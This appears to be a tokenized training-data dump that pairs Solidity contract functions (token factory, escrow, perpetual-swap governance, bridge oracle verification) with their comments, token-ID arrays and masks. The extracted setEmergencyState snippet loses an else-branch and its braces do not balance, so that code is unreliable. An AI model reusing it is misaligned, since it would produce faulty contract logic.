[ 1, 4661, 2430, 628, 1245, 2236, 358, 4042, 1450, 326, 3372, 487, 326, 11675, 18, 1021, 3372, 353, 2522, 635, 326, 10438, 471, 21588, 279, 1651, 434, 326, 261, 67, 2316, 16, 389, 4505, 16, 389, 20367, 16, 389, 8949, 16, 389, 12824, 13, 3193, 487, 2522, 635, 1651, 1290, 3826, 7675, 225, 389, 2316, 326, 1758, 434, 326, 1147, 6835, 225, 389, 4505, 326, 10438, 434, 326, 2430, 225, 389, 20367, 326, 8027, 434, 326, 2430, 225, 389, 8949, 326, 1300, 434, 2430, 358, 1366, 225, 389, 892, 326, 501, 652, 364, 326, 3726, 3826, 1674, 16, 4580, 635, 326, 11675, 225, 389, 12824, 279, 3089, 652, 364, 279, 864, 261, 67, 2316, 16, 389, 4505, 16, 389, 20367, 16, 389, 8949, 16, 389, 12824, 13, 4580, 635, 326, 11675, 225, 389, 8195, 326, 3372, 4580, 635, 326, 11675, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1366, 12, 45, 654, 39, 14509, 389, 2316, 16, 1758, 389, 4505, 16, 1758, 389, 20367, 16, 2254, 5034, 389, 8949, 16, 1731, 3778, 389, 892, 16, 2254, 5034, 389, 12824, 16, 1731, 3778, 389, 8195, 13, 1071, 288, 203, 3639, 675, 3826, 24899, 2316, 16, 389, 4505, 16, 389, 20367, 16, 389, 8949, 16, 389, 892, 16, 389, 12824, 16, 389, 8195, 1769, 203, 3639, 389, 2316, 18, 9497, 3826, 24899, 4505, 16, 389, 20367, 16, 389, 8949, 16, 389, 892, 16, 1408, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0x51886Cc76a28F49439BF0fE7051FF25Ab6d66432/sources/Ris3Factory.sol
burn remaining rewardsit will call when new cycle start
function governmentBurnTokens() public { require(msg.sender == governmentAddress, "Only government can burn tokens in factory"); uint256 amount = ris3.balanceOf(address(this)); totalStakers = 0; totalLiquidity = 0; emit Burned(amount); }
5,059,039
[ 1, 70, 321, 4463, 283, 6397, 305, 903, 745, 1347, 394, 8589, 787, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 314, 1643, 82, 475, 38, 321, 5157, 1435, 1071, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 314, 1643, 82, 475, 1887, 16, 315, 3386, 314, 1643, 82, 475, 848, 18305, 2430, 316, 3272, 8863, 203, 3639, 2254, 5034, 3844, 273, 436, 291, 23, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 540, 203, 3639, 2078, 510, 581, 414, 273, 374, 31, 203, 3639, 2078, 48, 18988, 24237, 273, 374, 31, 203, 540, 203, 3639, 3626, 605, 321, 329, 12, 8949, 1769, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xe5DaD06Ce6d5468e26f6Ee68Ea322a181b9B659C/sources/EscrowService.sol
* @dev Returns fee wallet/
function getFeeWallet() external view returns(address){ return _feeWallet; }
9,196,895
[ 1, 1356, 14036, 9230, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2812, 1340, 16936, 1435, 3903, 1476, 1135, 12, 2867, 15329, 203, 3639, 327, 389, 21386, 16936, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.4; import "../../openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "./module/PerpetualModule.sol"; import "./Type.sol"; import "./Storage.sol"; // @title Goovernance is the contract to maintain liquidityPool parameters. contract Governance is Storage { using SafeMathUpgradeable for uint256; using PerpetualModule for PerpetualStorage; using MarginAccountModule for PerpetualStorage; using LiquidityPoolModule for LiquidityPoolStorage; modifier onlyGovernor() { require(_msgSender() == _liquidityPool.governor, "only governor is allowed"); _; } modifier onlyOperator() { require(_msgSender() == _liquidityPool.getOperator(), "only operator is allowed"); _; } /** @notice */ function checkIn() public onlyOperator { _liquidityPool.checkIn(); } /** * @notice Use in a two phase operator transfer design: * 1. transfer operator to new operator; * 2. new operator claim to finish transfer. * Before claimOperator is called, operator wil remain to be the previous address. * * There are condition when calling transferring operator: * 1. when operator exists, only operator is able to call transfer; * 2. when operator not exists, call should be from a succeeded governor proposal. * @param newOperator The address of new operator to transfer to. */ function transferOperator(address newOperator) public { require(newOperator != address(0), "new operator is zero address"); address operator = _liquidityPool.getOperator(); if (operator != address(0)) { // has operator require(_msgSender() == operator, "can only be initiated by operator"); } else { require(_msgSender() == _liquidityPool.governor, "can only be initiated by governor"); } _liquidityPool.transferOperator(newOperator); } /** * @notice Set an address as keeper, who is able to call liquidate on bankrupt margin account. * If not set or set to zero address, keeper can be any one. * * @param newKeeper Address of new keeper. zero address means no limit to keeper only methods. */ function setKeeper(address newKeeper) public { address operator = _liquidityPool.getOperator(); if (operator != address(0)) { // has operator require(_msgSender() == operator, "can only be initiated by operator"); } else { require(_msgSender() == _liquidityPool.governor, "can only be initiated by governor"); } _liquidityPool.setKeeper(newKeeper); } /** * @notice Claim the ownership of the liquidity pool to sender. See `transferOperator` for details. * The caller must be the one specified by `transferOperator` first. */ function claimOperator() public { _liquidityPool.claimOperator(_msgSender()); } /** * @notice Revoke the operator of the liquidity pool. Can only called by the operator. */ function revokeOperator() public onlyOperator { _liquidityPool.revokeOperator(); } /** * @notice Set the parameter of the liquidity pool. Can only called by the governor. * @param params New values of parameter set. */ function setLiquidityPoolParameter(int256[2] calldata params) public onlyGovernor { _liquidityPool.setLiquidityPoolParameter(params); } function setOracle(uint256 perpetualIndex, address oracle) public onlyGovernor { _liquidityPool.setPerpetualOracle(perpetualIndex, oracle); } /** * @notice Set the base parameter of the perpetual. Can only called by the governor. * @param perpetualIndex The index of the perpetual in liquidity pool. * @param baseParams Values of new base parameter set */ function setPerpetualBaseParameter(uint256 perpetualIndex, int256[9] calldata baseParams) public onlyGovernor { _liquidityPool.setPerpetualBaseParameter(perpetualIndex, baseParams); } /** * @notice Set the risk parameter and adjust range of the perpetual. Can only called by the governor. * @param perpetualIndex The index of the perpetual in liquidity pool. * @param riskParams Values of new risk parameter set, each should be within range of related [min, max]. * @param minRiskParamValues Min values of new risk parameter. * @param maxRiskParamValues Max values of new risk parameter. */ function setPerpetualRiskParameter( uint256 perpetualIndex, int256[8] calldata riskParams, int256[8] calldata minRiskParamValues, int256[8] calldata maxRiskParamValues ) external onlyGovernor { _liquidityPool.setPerpetualRiskParameter( perpetualIndex, riskParams, minRiskParamValues, maxRiskParamValues ); } /** * @notice Update the risk parameter of the perpetual. Can only called by the operator * @param perpetualIndex The index of the perpetual in liquidity pool. * @param riskParams The new value of the risk parameter, must between minimum value and maximum value */ function updatePerpetualRiskParameter(uint256 perpetualIndex, int256[8] calldata riskParams) external onlyOperator { _liquidityPool.updatePerpetualRiskParameter(perpetualIndex, riskParams); } /** * @notice Force to set the state of the perpetual to "EMERGENCY" and set the settlement price. * Can only called by the governor. * @param perpetualIndex The index of the perpetual in liquidity pool. */ function forceToSetEmergencyState(uint256 perpetualIndex, int256 settlementPrice) external syncState(true) onlyGovernor { require(settlementPrice >= 0, "negative settlement price"); OraclePriceData memory settlementPriceData = OraclePriceData({ price: settlementPrice, time: block.timestamp }); PerpetualStorage storage perpetual = _liquidityPool.perpetuals[perpetualIndex]; perpetual.markPriceData = settlementPriceData; perpetual.indexPriceData = settlementPriceData; _liquidityPool.setEmergencyState(perpetualIndex); } /** * @notice Set the state of the perpetual to "EMERGENCY". Can be call by anyone when * following conditions are met: * 1. the oralce contract declares itself as "termainated"; * 2. the AMM of perpetual's maintenance margin is unsafe; * @param perpetualIndex The index of the perpetual in liquidity pool. */ function setEmergencyState(uint256 perpetualIndex) public syncState(true) { if (perpetualIndex == Constant.SET_ALL_PERPETUALS_TO_EMERGENCY_STATE) { _liquidityPool.setAllPerpetualsToEmergencyState(); } else { PerpetualStorage storage perpetual = _liquidityPool.perpetuals[perpetualIndex]; require(IOracle(perpetual.oracle).isTerminated(), "prerequisite not met"); _liquidityPool.setEmergencyState(perpetualIndex); } } bytes32[50] private __gap; }
* @notice Set the state of the perpetual to "EMERGENCY". Can be call by anyone when following conditions are met: 1. the oralce contract declares itself as "termainated"; 2. the AMM of perpetual's maintenance margin is unsafe; @param perpetualIndex The index of the perpetual in liquidity pool./
function setEmergencyState(uint256 perpetualIndex) public syncState(true) { if (perpetualIndex == Constant.SET_ALL_PERPETUALS_TO_EMERGENCY_STATE) { _liquidityPool.setAllPerpetualsToEmergencyState(); PerpetualStorage storage perpetual = _liquidityPool.perpetuals[perpetualIndex]; require(IOracle(perpetual.oracle).isTerminated(), "prerequisite not met"); _liquidityPool.setEmergencyState(perpetualIndex); } } bytes32[50] private __gap;
6,426,385
[ 1, 694, 326, 919, 434, 326, 1534, 6951, 1462, 358, 315, 3375, 654, 16652, 16068, 9654, 4480, 506, 745, 635, 1281, 476, 1347, 1850, 3751, 4636, 854, 5100, 30, 5411, 404, 18, 326, 578, 287, 311, 6835, 3496, 4807, 6174, 487, 315, 387, 5254, 690, 14432, 5411, 576, 18, 326, 432, 8206, 434, 1534, 6951, 1462, 1807, 18388, 7333, 353, 7127, 31, 565, 1534, 6951, 1462, 1016, 225, 1021, 770, 434, 326, 1534, 6951, 1462, 316, 4501, 372, 24237, 2845, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 1514, 24530, 1119, 12, 11890, 5034, 1534, 6951, 1462, 1016, 13, 1071, 3792, 1119, 12, 3767, 13, 288, 203, 3639, 309, 261, 457, 6951, 1462, 1016, 422, 10551, 18, 4043, 67, 4685, 67, 3194, 1423, 56, 14235, 55, 67, 4296, 67, 3375, 654, 16652, 16068, 67, 7998, 13, 288, 203, 5411, 389, 549, 372, 24237, 2864, 18, 542, 1595, 2173, 6951, 12588, 774, 1514, 24530, 1119, 5621, 203, 5411, 5722, 6951, 1462, 3245, 2502, 1534, 6951, 1462, 273, 389, 549, 372, 24237, 2864, 18, 457, 6951, 12588, 63, 457, 6951, 1462, 1016, 15533, 203, 5411, 2583, 12, 4294, 16873, 12, 457, 6951, 1462, 18, 280, 16066, 2934, 291, 21888, 9334, 315, 683, 822, 16608, 1137, 486, 5100, 8863, 203, 5411, 389, 549, 372, 24237, 2864, 18, 542, 1514, 24530, 1119, 12, 457, 6951, 1462, 1016, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 565, 1731, 1578, 63, 3361, 65, 3238, 1001, 14048, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/71401/0x77dE9b96BBf9974787bC0d3C8c318Bcac7C2B44c/sources/Bridge.sol
Performs oracle state extraction and verification without saving root hash to storage in one go. The caller submits the encoded proof and receives back the decoded data, ready to be validated and used. @param data The encoded data for oracle state relay and data verification.
function verifyOracleResult(bytes calldata data) external view returns (Result memory) { (bytes memory relayData, bytes memory verifyData) = abi.decode(data, (bytes, bytes)); ( MultiStore.Data memory multiStore, BlockHeaderMerkleParts.Data memory merkleParts, CommonEncodedVotePart.Data memory commonEncodedVotePart, TMSignature.Data[] memory signatures ) = abi.decode( relayData, (MultiStore.Data, BlockHeaderMerkleParts.Data, CommonEncodedVotePart.Data, TMSignature.Data[]) ); (, Result memory result, uint256 version, IAVLMerklePath.Data[] memory merklePaths) = abi.decode( verifyData, (uint256, Result, uint256, IAVLMerklePath.Data[]) ); return verifyResultWithRoot( verifyBlockHeader(multiStore, merkleParts, commonEncodedVotePart, signatures), version, result, merklePaths ); }
16,904,492
[ 1, 9409, 20865, 919, 18752, 471, 11805, 2887, 12392, 1365, 1651, 358, 2502, 316, 1245, 1960, 18, 1021, 4894, 720, 22679, 326, 3749, 14601, 471, 17024, 1473, 326, 6383, 501, 16, 5695, 358, 506, 10266, 471, 1399, 18, 225, 501, 1021, 3749, 501, 364, 20865, 919, 18874, 471, 501, 11805, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3929, 23601, 1253, 12, 3890, 745, 892, 501, 13, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 1135, 261, 1253, 3778, 13, 203, 565, 288, 203, 3639, 261, 3890, 3778, 18874, 751, 16, 1731, 3778, 3929, 751, 13, 273, 24126, 18, 3922, 12, 892, 16, 261, 3890, 16, 1731, 10019, 203, 203, 3639, 261, 203, 5411, 5991, 2257, 18, 751, 3778, 3309, 2257, 16, 203, 5411, 3914, 1864, 8478, 15609, 4305, 18, 751, 3778, 30235, 4305, 16, 203, 5411, 5658, 10397, 19338, 1988, 18, 751, 3778, 2975, 10397, 19338, 1988, 16, 203, 5411, 27435, 5374, 18, 751, 8526, 3778, 14862, 203, 3639, 262, 273, 24126, 18, 3922, 12, 203, 5411, 18874, 751, 16, 203, 5411, 261, 5002, 2257, 18, 751, 16, 3914, 1864, 8478, 15609, 4305, 18, 751, 16, 5658, 10397, 19338, 1988, 18, 751, 16, 27435, 5374, 18, 751, 63, 5717, 203, 3639, 11272, 203, 203, 3639, 261, 16, 3438, 3778, 563, 16, 2254, 5034, 1177, 16, 467, 5856, 48, 8478, 15609, 743, 18, 751, 8526, 3778, 30235, 4466, 13, 273, 24126, 18, 3922, 12, 203, 5411, 3929, 751, 16, 261, 11890, 5034, 16, 3438, 16, 2254, 5034, 16, 467, 5856, 48, 8478, 15609, 743, 18, 751, 63, 5717, 203, 3639, 11272, 203, 203, 3639, 327, 3929, 1253, 1190, 2375, 12, 203, 5411, 3929, 1768, 1864, 12, 7027, 2257, 16, 30235, 4305, 16, 2975, 10397, 19338, 1988, 16, 14862, 3631, 1177, 16, 563, 16, 30235, 4466, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.6.11; /* A gauge to allow users to commit to Stacker.vc fund 1. This will reward STACK tokens for hard and soft commits, as well as link with a ibETH gateway, to allow users to deposit ETH directly into the fund. ibETH is sent to the STACK DAO governance contract, for future VC fund initialization. */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for 